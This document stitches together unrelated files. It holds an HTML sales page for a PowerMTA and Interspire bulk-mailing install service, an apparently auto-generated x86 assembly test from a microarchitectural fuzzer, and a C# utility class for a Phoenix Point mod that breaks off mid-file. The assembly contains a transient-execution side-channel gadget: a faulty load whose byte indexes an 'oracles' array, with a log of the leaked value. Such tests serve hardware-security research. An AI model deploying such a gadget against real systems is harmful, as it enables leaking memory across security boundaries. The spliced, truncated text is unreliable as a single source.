<!--[if (gte IE 9)|!(IE)]><!-->
<html lang="en"> <!--<![endif]-->
<head>
<!-- Basic -->
<meta charset="utf-8">
<title>interspire email marketer with powermta</title>
<meta name="author" content="powermta.pw">
<meta name="keywords" content="interspire email marketer, email marketer install, interspire addons">
<meta name="description" content="Interspire email marketing with powermta - Email Marketer is used by over 1500 businesses to create, send and track email campaigns and auto-responders.">
<!-- Mobile Specific Metas -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<!-- Libs CSS -->
<link href="css/bootstrap.css" rel="stylesheet">
<link href="css/font-awesome.min.css" rel="stylesheet">
<link href="css/owl.carousel.css" rel="stylesheet">
<link href="css/prettyPhoto.css" rel="stylesheet">
<link href="css/flexslider.css" rel="stylesheet">
<!-- Custom Colors -->
<link href="css/green.css" rel="stylesheet">
<!-- Responsive CSS -->
<link href="css/responsive.css" rel="stylesheet">
<!-- Favicons -->
<link rel="shortcut icon" href="img/icons/favicon.ico">
<link rel="apple-touch-icon" sizes="144x144" href="img/icons/apple-touch-icon-144x144.png">
<link rel="apple-touch-icon" sizes="114x114" href="img/icons/apple-touch-icon-114x114.png">
<link rel="apple-touch-icon" sizes="72x72" href="img/icons/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" href="img/icons/apple-touch-icon.png">
<!-- Google Fonts -->
<link href='https://fonts.googleapis.com/css?family=Lato:400,100,100italic,300,300italic,400italic,700,700italic,900,900italic&subset=latin,latin-ext' rel='stylesheet' type='text/css'>
</head>
<body>
<!-- HEADER
============================================= -->
<header id="header">
<div class="navbar navbar-fixed-top">
<div class="container">
<!-- Navigation Bar -->
<div class="navbar-header">
<!-- Responsive Menu Button -->
<button type="button" id="nav-toggle" class="navbar-toggle" data-toggle="collapse" data-target="#navigation-menu">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<!-- Logo Image -->
<a id="GoToHome" class="navbar-brand" href="#intro"><h4>PowerMTA.PW</h4></a>
</div> <!-- End Navigation Bar -->
<!-- Navigation Menu -->
<nav id="navigation-menu" class="collapse navbar-collapse">
<ul class="nav navbar-nav navbar-right">
<li><a href="#services">Features</a></li>
<!-- <li><a href="#team">Team</a></li>
<li><a href="#portfolio">Works</a></li>
<li><a href="#testimonials_rotator">Reviews</a></li> -->
<li><a href="#pricing">Pricing</a></li>
<li><a href="#faq">FAQ</a></li>
<li><a href="#contact">Contacts</a></li>
</ul>
</nav> <!-- End Navigation Menu -->
</div> <!-- End container -->
</div> <!-- End navbar fixed top -->
</header> <!-- END HEADER -->
<!-- PAGE CONTENT WRAPPER
============================================= -->
<div id="content_wrapper">
<!-- INTRO
============================================= -->
<section id="intro">
<div class="container">
<div class="row">
<!-- INTRO SLIDER HOLDER -->
<div class="col-md-12 text-center">
<!-- Rotator Content -->
<div class="intro_slider">
<ul class="slides">
<!-- INTRO SLIDE #1 -->
<li>
<div class="intro_slide">
<!-- SLIDE TEXT -->
<h2>Power mta + Email Marketer</h2>
<p> High Volume Control and Delivery, Extensive Worldwide Support Services, Enable TLS Encryption over SMTP, Platform of Choice for ESPs, Flawless execution of high-volume email delivery, Comprehensive delivery reporting and analysis </p>
<!-- SLIDE BUTTON -->
<div class="intro_button">
<a class="btn btn-tra" href="#contact">Request Now</a>
</div>
</div>
</li> <!-- END INTRO SLIDE #1 -->
<!-- INTRO SLIDE #2 -->
<li>
<div class="intro_slide">
<!-- SLIDE TEXT -->
<h2>Email Marketer</h2>
<p> Follow up with prospects automatically, Optimize your email click thru rates, Automate your list management, Keep your lists clean and up to date, complete activity of a lead, Solicit and track feedback with surveys.</p>
<!-- SLIDE BUTTON -->
<div class="intro_button">
<a class="btn" href="#contact">Request Now</a>
</div>
</div>
</li> <!-- END INTRO SLIDE #2 -->
<!-- INTRO SLIDE #3 -->
<li>
<div class="intro_slide">
<!-- SLIDE TEXT -->
<h2>Control Panel</h2>
<p> Webmin/Virtualmin, Vesta control panel, whm/cpanel(trial)</p>
<!-- SLIDE BUTTON -->
<div class="intro_button">
<a class="btn" href="#contact">Hire Now</a>
</div>
</div>
</li> <!-- END INTRO SLIDE #3 -->
</ul>
</div> <!-- End Rotator Content -->
</div> <!-- END INTRO SLIDER HOLDER -->
</div> <!-- End row -->
</div> <!-- End container -->
</section> <!-- END INTRO -->
<!-- SERVICES
============================================= -->
<section id="services">
<div class="container">
<div class="row">
<!-- SERVICE BOXES HOLDER -->
<ul>
<!-- SERVICE BOX #1 -->
<li class="col-xs-6 col-md-4 service-box">
<!-- Service Box Content -->
<div class="service-box-content">
<div class="service-box-icon"><i class="fa fa-diamond"></i></div>
<div class="service-box-title"><h4 class="small-title">Email Personalization</h4></div>
<p>Personalize your email with two clicks using custom fields such as first name, age or company name. It works the same as a mail merge in Word! </p>
</div>
</li> <!-- END SERVICE BOX #1 -->
<!-- SERVICE BOX #2 -->
<li class="col-xs-6 col-md-4 service-box">
<!-- Service Box Content -->
<div class="service-box-content">
<div class="service-box-icon"><i class="fa fa-desktop"></i></div>
<div class="service-box-title"><h4 class="small-title">Popup and Inbox Previews</h4></div>
<p>email will look before you send it. You can view a preview in your web browser or even email it to yourself. </p>
</div>
</li> <!-- END SERVICE BOX #2 -->
<!-- SERVICE BOX #3 -->
<li class="col-xs-6 col-md-4 service-box">
<!-- Service Box Content -->
<div class="service-box-content">
<div class="service-box-icon"><i class="fa fa-database"></i></div>
<div class="service-box-title"><h4 class="small-title">Easily Upload Images</h4></div>
<p>Upload as many images as you like into your email campaigns. Unlimited free image hosting is included with every account. </p>
</div>
</li> <!-- END SERVICE BOX #3 -->
<!-- SERVICE BOX #4 -->
<li class="col-xs-6 col-md-4 service-box">
<!-- Service Box Content -->
<div class="service-box-content">
<div class="service-box-icon"><i class="fa fa-code"></i></div>
<div class="service-box-title"><h4 class="small-title">Advanced HTML Editing</h4></div>
<p>Advanced users have full access to customize the HTML of their email campaigns, right from the WYSIWYG editor's "source" tab. </p>
</div>
</li> <!-- END SERVICE BOX #4 -->
<!-- SERVICE BOX #5 -->
<li class="col-xs-6 col-md-4 service-box">
<!-- Service Box Content -->
<div class="service-box-content">
<div class="service-box-icon"><i class="fa fa-cogs"></i></div>
<div class="service-box-title"><h4 class="small-title">Per-User SMTP Settings</h4></div>
<p>SMTP settings allow you to specify which mail server should be used to send their email campaigns. If no SMTP settings are specified the default mail server will be used. </p>
</div>
</li> <!-- END SERVICE BOX #5 -->
<!-- SERVICE BOX #6 -->
<li class="col-xs-6 col-md-4 service-box">
<!-- Service Box Content -->
<div class="service-box-content">
<div class="service-box-icon"><i class="fa fa-tint"></i></div>
<div class="service-box-title"><h4 class="small-title">Email Bounce Tracking</h4></div>
<p>Bounces are handled for you automatically and you can view reports showing which email addresses bounced, when and why, with an exact error message from the email provider, such as "Email address doesn't exist". </p>
</div>
</li> <!-- END SERVICE BOX #6 -->
</ul> <!-- END SERVICE BOXES HOLDER -->
</div> <!-- End row -->
</div> <!-- End container -->
</section> <!-- END SERVICES -->
<!-- PRICING
============================================= -->
<section id="pricing">
<div class="container">
<!-- SECTION TITLE -->
<div class="row">
<div class="col-sm-12 titlebar">
<h3>Pricing plans</h3>
<p>One Time Service & Support. </p>
</div>
</div> <!-- END SECTION TITLE -->
<!-- PRICING TABLES HOLDER -->
<div class="row price-row">
<!-- PRICE PLAN BASIC -->
<div id="price_1" class="col-xs-6 col-sm-6 col-md-3">
<div class="pricing-table text-center">
<!-- Table Header -->
<h3>POWER MTA</h3>
<!-- Plan Price -->
<div class="price">
<sup>$</sup>
<span class="color">49</span>
<sup class="color">99</sup>
</div>
<!-- Plan Features -->
<ul class="features">
<li>Power MTA Installation & Configuration</li>
<li>VirtualMTA Creation and configuration</li>
<li>Bounce Processor setup</li>
<li>Mail Server Configuration</li>
<li>Mail Server Optimization to work as Cluster</li>
<li>Mail Server Validation for good Delivery</li>
<li>DKIM</li>
<li>DMARC</li>
<li>ADSP</li>
<li>SPF</li>
<li>MX</li>
<li>EHLO Implementation</li>
<li>RDNS</li>
<li>Load Balancer for IP Pool</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
</ul>
<!-- Table Button -->
<a href="#contact" class="btn">Request Now</a>
</div>
</div> <!-- END PRICE PLAN BASIC -->
<!-- PRICE PLAN STANDARD -->
<div id="price_2" class="col-xs-6 col-sm-6 col-md-3">
<div class="pricing-table text-center">
<!-- Table Header -->
<h3>Email Marketer</h3>
<!-- Plan Price -->
<div class="price">
<sup>$</sup>
<span class="color">29</span>
<sup class="color">99</sup>
</div>
<!-- Plan Features -->
<ul class="features">
<li>Email Templates</li>
<li>Easy WYSIWYG Editing</li>
<li>Advanced HTML Editing</li>
<li>Inbox Previews</li>
<li>Built-In Spam Checking</li>
<li>Forward to a Friend Link</li>
<li>Automatic Bounce Handling</li>
<li>OpenUnsubscribe Report</li>
<li>Split Testing</li>
<li>Surveys & Feedback Forms</li>
<li>Link Click Tracking</li>
<li>Email Bounce Tracking</li>
<li>Unsubscribe Reporting</li>
<li>Full List Management</li>
<li>100% Private Label Software</li>
<li>Multiple User Accounts</li>
<li>Integrated XML API</li>
<li>Control Scheduled Tasks</li>
<li>Per-User SMTP Settings</li>
<li>Email Speed Throttling</li>
</ul>
<!-- Table Button -->
<a href="#contact" class="btn">Request Now</a>
</div>
</div> <!-- END PRICE PLAN STANDARD -->
<!-- PRICE PLAN ADVANCED -->
<div id="price_3" class="col-xs-6 col-sm-6 col-md-3">
<div class="pricing-table text-center highlight">
<!-- Table Header -->
<h3>ALL IN ONE</h3>
<div class="down-arrow"></div>
<!-- Plan Price -->
<div class="price">
<sup>$</sup>
<span class="color">99</span>
<sup class="color">99</sup>
</div>
<!-- Plan Features -->
<ul class="features">
<li>Power MTA</li>
<li>Email Marketer</li>
<li>Optimization</li>
<li>Control Panel</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
</ul>
<!-- Table Button -->
<a href="#contact" class="btn">Request Now</a>
</div>
</div> <!-- END PRICE PLAN ADVANCED -->
<!-- PRICE PLAN ULTIMATE -->
<div id="price_4" class="col-xs-6 col-sm-6 col-md-3">
<div class="pricing-table text-center">
<!-- Table Header -->
<h3>SERVER OPTIMIZATION</h3>
<!-- Plan Price -->
<div class="price">
<sup>$</sup>
<span class="color">34</span>
<sup class="color">99</sup>
</div>
<!-- Plan Features -->
<ul class="features">
<li>VPS</li>
<li>Dedicated Server</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
<li>-</li>
</ul>
<!-- Table Button -->
<a href="#contact" class="btn">Request Now</a>
</div>
</div> <!-- END PRICE PLAN ULTIMATE -->
</div> <!-- END PRICING TABLES HOLDER -->
</div> <!-- End container -->
</section> <!-- END PRICING -->
<!-- BOTTOM PROMO LINE
============================================= -->
<div id="bottom-promo_line">
<div class="container">
<div class="row">
<!-- BOTTOM PROMO LINE CONTENT -->
<div class="col-md-12 text-center">
<h2>COME ON, IT'S TIME TO BUY OUR PRODUCT...</h2>
<p>Do you need more information? Please do not hesitate to contact us if you need more information.</p>
<a href="#contact" class="btn btn-tra">Hire Now</a>
<a href="/" class="btn">Discover More</a>
</div>
</div> <!-- End row -->
</div> <!-- End container -->
</div> <!-- END BOTTOM PROMO LINE -->
<!-- FAQs
============================================= -->
<section id="faq">
<div class="container">
<!-- SECTION TITLE -->
<div class="row">
<div class="col-sm-12 titlebar">
<h3>FAQs</h3>
</div>
</div> <!-- END SECTION TITLE -->
<div class="row">
<!-- Question #1 -->
<div class="col-md-6 question">
<h4><span class="faq-question-label">Q:</span> Why I should buy from you?</h4>
<p><span class="faq-answer-label">A:</span> If you are aware of Power mta email marketer, than you must be aware that how important are the above listed features for serious mailers. Email marketer with Power mta to make your own “world’s most advanced email infrastructure”. This is a discounted price to sell some volume installation configration service. This price won’t last long and is very limited time offer. You can search on internet; no one is selling this package at this discounted price. If you are really interested in bulk mailing, these are best solution for you and we are giving you best price of it.</p>
</div>
<!-- Question #2 -->
<div class="col-md-6 question">
<h4><span class="faq-question-label">Q:</span> WHAT PAYMENT METHOD DO YOU ACCEPT?</h4>
<p><span class="faq-answer-label">A:</span> We prefer Paypal as our main payment option. If you need any other payment option please contact us.</p>
</div>
</div>
<div class="row">
<!-- Question #3 -->
<div class="col-md-6 question">
<h4><span class="faq-question-label">Q:</span> DO CUSTOMER GET FUTURE UPDATES FREE OF COST?</h4>
<p><span class="faq-answer-label">A:</span> No, all customers get future updates at extra cost.</p>
</div>
<!-- Question #4 -->
<div class="col-md-6 question">
<h4><span class="faq-question-label">Q:</span> WHAT ARE THE SERVER REQUIREMENTS?</h4>
<p><span class="faq-answer-label">A:</span> Operating System: CentOS 6 x64_86 bit. <br>Min 1 Gb Ram.<br>20 Gb HDD..</p>
</div>
</div>
<div class="row">
<!-- Question #5 -->
<div class="col-md-6 question">
<h4><span class="faq-question-label">Q:</span> HOW TO GET SUPPORT FROM YOU?</h4>
<p><span class="faq-answer-label">A:</span> If you need any support regarding installation please write to us by using our “Contact-us” form.</p>
</div>
<!-- Question #6 -->
<div class="col-md-6 question">
<h4><span class="faq-question-label">Q:</span> AFTER PLACING ORDER, HOW LONG IT WILL TAKE TO GET THE SYSTEM READY TO USE?</h4>
<p><span class="faq-answer-label">A:</span> You should get login link within 48 hours (normally within 24 hours).</p>
</div>
</div>
</div> <!-- End container -->
</section> <!-- END FAQs -->
<!-- CONTACTS
============================================= -->
<section id="contact">
<div class="container">
<!-- SECTION TITLE -->
<div class="row">
<div class="col-sm-12 titlebar">
<h3>Get in touch</h3>
<p>We will get back to you as soon as possible</p>
</div>
</div>
<div class="row">
<!-- CONTACT FORM -->
<div class="col-sm-12">
<form id="contact-form" action="https://formspree.io/powermta.pw@gmail.com" name="contactform" class="row" method="post">
<div id="input_name" class="col-md-6">
<input type="text" name="first_name" id="name" class="form-control" placeholder="Name">
</div>
<div id="input_email" class="col-md-6">
<input type="text" name="_replyto" id="email" class="form-control" placeholder="Email">
</div>
<div id="input_subject" class="col-md-12">
<input type="text" name="_subject" id="subject" class="form-control" placeholder="Subject">
</div>
<div id="input_message" class="col-md-12">
<textarea class="form-control" name="message" id="comments" rows="6" placeholder="Your Message ..."></textarea>
</div>
<!-- Submit Button -->
<div id="form_btn" class="col-md-12 text-right"> <input type="hidden" name="_next" value="//powermta.pw/thanks.html" />
<input type="submit" value="Send Message" id="submit" class="btn">
<input type="text" name="_gotcha" style="display:none" />
<input type="text" name="_format" value="plain" style="display:none" />
</div>
</form>
</div><!-- END CONTACT FORM -->
</div> <!-- End row -->
</div> <!-- End container -->
</section> <!-- END CONTACTS -->
<!-- CALL TO ACTION
============================================= -->
<div id="call-to-action">
<div class="container">
<div class="row">
<!-- CALL TO ACTION TEXT -->
<div class="col-md-8">
<h3>The best solution for your startup</h3>
</div>
<!-- CALL TO ACTION BUTTON -->
<div class="col-md-4 text-center">
<a class="btn btn-tra" href="#contact">Let's Get Started</a>
</div>
</div> <!-- End row -->
</div> <!-- End container -->
</div> <!-- END CALL TO ACTION -->
<!-- FOOTER
============================================= -->
<footer id="footer">
<div class="container">
<!-- FOOTER LINKS -->
<div class="row">
<div id="footer_socials" class="col-sm-12">
<ul class="contact-socials clearfix">
<li><a class="foo_link" href="/">Power MTA install</a></li>
<li><a class="foo_link" href="interspire-email-marketer">Email marketer install</a></li>
<li><a class="foo_link" href="#services">Features</a></li>
<li><a class="foo_link" href="#pricing">Price</a></li>
<!-- <li><a class="foo_link" href="#">Terms of Service</a></li>
<li><a class="foo_link" href="#">Privacy Policy</a></li> -->
<li><a class="foo_link" href="#contact">Contact Us</a></li>
</ul>
</div>
</div> <!-- END FOOTER LINKS -->
<!-- FOOTER COPYRIGHT -->
<div class="row">
<div id="footer_copyright" class="col-sm-12">
<p>Copyright 2016 <span>PowerMTA.PW</span>. All Rights Reserved.</p>
</div>
</div> <!-- END FOOTER COPYRIGHT -->
</div> <!-- End container -->
</footer> <!-- END FOOTER -->
</div> <!-- PAGE CONTENT WRAPPER -->
<!-- EXTERNAL SCRIPTS
============================================= -->
<script src="js/jquery-2.1.4.min.js" type="text/javascript"></script>
<script src="js/bootstrap.min.js" type="text/javascript"></script>
<script src="js/modernizr.custom.js" type="text/javascript"></script>
<script src="js/jquery.easing.js" type="text/javascript"></script>
<script defer src="js/jquery.scrollto.js"></script>
<script src="js/owl.carousel.js" type="text/javascript"></script>
<script defer src="js/count-to.js"></script>
<script defer src="js/jquery.appear.js"></script>
<script src="js/jquery.prettyPhoto.js" type="text/javascript"></script>
<script src="js/jquery.mixitup.js" type="text/javascript"></script>
<script src="js/retina.js" type="text/javascript"></script>
<script defer src="js/jquery.flexslider.js" type="text/javascript"></script>
<script defer src="js/jquery.validate.min.js" type="text/javascript"></script>
<!-- <script src="js/waypoints.min.js" type="text/javascript"></script> -->
<script src="js/custom.js" type="text/javascript"></script>
</body>
</html> | 33.347767 | 630 | 0.5 |
f2cb8442a279a22fa91630e0921a96e39c7b4e4b | 7,000 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_21829_1244.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_21829_1244.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_21829_1244.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x3097, %r11
nop
nop
sub $20507, %rcx
movups (%r11), %xmm5
vpextrq $1, %xmm5, %r8
cmp $26025, %r9
lea addresses_normal_ht+0x82a7, %rsi
nop
nop
nop
and %rax, %rax
mov (%rsi), %rdx
and %r11, %r11
lea addresses_UC_ht+0xdf57, %rsi
add %r11, %r11
mov $0x6162636465666768, %r8
movq %r8, %xmm5
vmovups %ymm5, (%rsi)
nop
nop
add $32291, %rax
lea addresses_A_ht+0x16017, %rax
nop
nop
nop
nop
dec %rsi
mov $0x6162636465666768, %r9
movq %r9, (%rax)
nop
nop
nop
sub $49731, %rsi
lea addresses_WC_ht+0x1b237, %rdx
nop
nop
nop
sub $34072, %r9
vmovups (%rdx), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r11
nop
nop
nop
nop
cmp $56718, %r9
lea addresses_WC_ht+0x3497, %r9
nop
nop
nop
nop
nop
xor %r11, %r11
movups (%r9), %xmm7
vpextrq $1, %xmm7, %rdx
sub $11626, %rax
lea addresses_WC_ht+0x9ed7, %rsi
lea addresses_normal_ht+0x1e897, %rdi
nop
xor %rdx, %rdx
mov $60, %rcx
rep movsq
nop
nop
sub $8685, %rax
lea addresses_WC_ht+0x1c317, %rsi
lea addresses_normal_ht+0x6497, %rdi
xor $5032, %r11
mov $26, %rcx
rep movsb
nop
nop
nop
cmp $6266, %rax
lea addresses_UC_ht+0x15eb, %r8
clflush (%r8)
nop
nop
nop
nop
add $40752, %rcx
mov (%r8), %ax
nop
nop
nop
inc %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
// Load
lea addresses_WC+0x16097, %rdi
nop
nop
nop
nop
nop
sub %r10, %r10
movups (%rdi), %xmm0
vpextrq $0, %xmm0, %rbx
nop
nop
nop
nop
cmp %r12, %r12
// Store
lea addresses_UC+0xf497, %rdi
inc %r10
movb $0x51, (%rdi)
nop
cmp $1458, %r15
// REPMOV
lea addresses_UC+0x5097, %rsi
lea addresses_UC+0x14d57, %rdi
nop
inc %r14
mov $107, %rcx
rep movsb
nop
nop
inc %rsi
// Faulty Load
lea addresses_UC+0xf497, %r10
nop
nop
nop
sub %r14, %r14
movb (%r10), %r15b
lea oracles, %r12
and $0xff, %r15
shlq $12, %r15
mov (%r12,%r15,1), %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': True}}
{'src': {'type': 'addresses_UC', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC', 'congruent': 6, 'same': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 6, 'NT': True, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'51': 21829}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
| 35.714286 | 2,999 | 0.655286 |
751d706c80d909e72e3ba85696e2bc358aed5f94 | 3,711 | cs | C# | Source/AssortedAdjustments/Utilities.cs | Mad-Mods-Phoenix-Point/AssortedAdjustments | 0936177e398f0de5fc0946e3a8f0ecc50af0f964 | [
"MIT"
] | 8 | 2021-02-05T16:29:46.000Z | 2022-03-13T21:57:53.000Z | Source/AssortedAdjustments/Utilities.cs | Mad-Mods-Phoenix-Point/AssortedAdjustments | 0936177e398f0de5fc0946e3a8f0ecc50af0f964 | [
"MIT"
] | 23 | 2021-01-05T19:00:08.000Z | 2022-03-02T18:05:09.000Z | Source/AssortedAdjustments/Utilities.cs | Mad-Mods-Phoenix-Point/AssortedAdjustments | 0936177e398f0de5fc0946e3a8f0ecc50af0f964 | [
"MIT"
] | 2 | 2021-01-27T16:08:43.000Z | 2021-10-19T23:23:21.000Z | using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using Base.Core;
using Base.Defs;
using I2.Loc;
using PhoenixPoint.Common.Entities.GameTags;
using PhoenixPoint.Geoscape.Entities.Research;
using PhoenixPoint.Tactical.Entities;
using PhoenixPoint.Tactical.Entities.Equipments;
namespace AssortedAdjustments
{
public class DictionaryComparer<TKey, TValue> : IEqualityComparer<Dictionary<TKey, TValue>>
{
private IEqualityComparer<TValue> valueComparer;
public DictionaryComparer(IEqualityComparer<TValue> valueComparer = null)
{
this.valueComparer = valueComparer ?? EqualityComparer<TValue>.Default;
}
public bool Equals(Dictionary<TKey, TValue> x, Dictionary<TKey, TValue> y)
{
if (x.Count != y.Count)
return false;
if (x.Keys.Except(y.Keys).Any())
return false;
if (y.Keys.Except(x.Keys).Any())
return false;
foreach (var pair in x)
if (!valueComparer.Equals(pair.Value, y[pair.Key]))
return false;
return true;
}
public int GetHashCode(Dictionary<TKey, TValue> obj)
{
throw new NotImplementedException();
}
}
internal static class Utilities
{
public static bool ContainsAllItems<T>(this IEnumerable<T> a, IEnumerable<T> b)
{
return !b.Except(a).Any();
}
public static string ToTitleCase(string s)
{
if (string.IsNullOrWhiteSpace(s))
{
return s;
}
TextInfo textInfo = new CultureInfo(LocalizationManager.CurrentLanguageCode).TextInfo;
return textInfo.ToTitleCase(textInfo.ToLower(s));
}
public static ResearchDef GetResearchDef(string key)
{
DefRepository defRepository = GameUtl.GameComponent<DefRepository>();
return defRepository.GetDef(key) as ResearchDef ?? defRepository.GetAllDefs<ResearchDef>().FirstOrDefault(e => e.name == key);
}
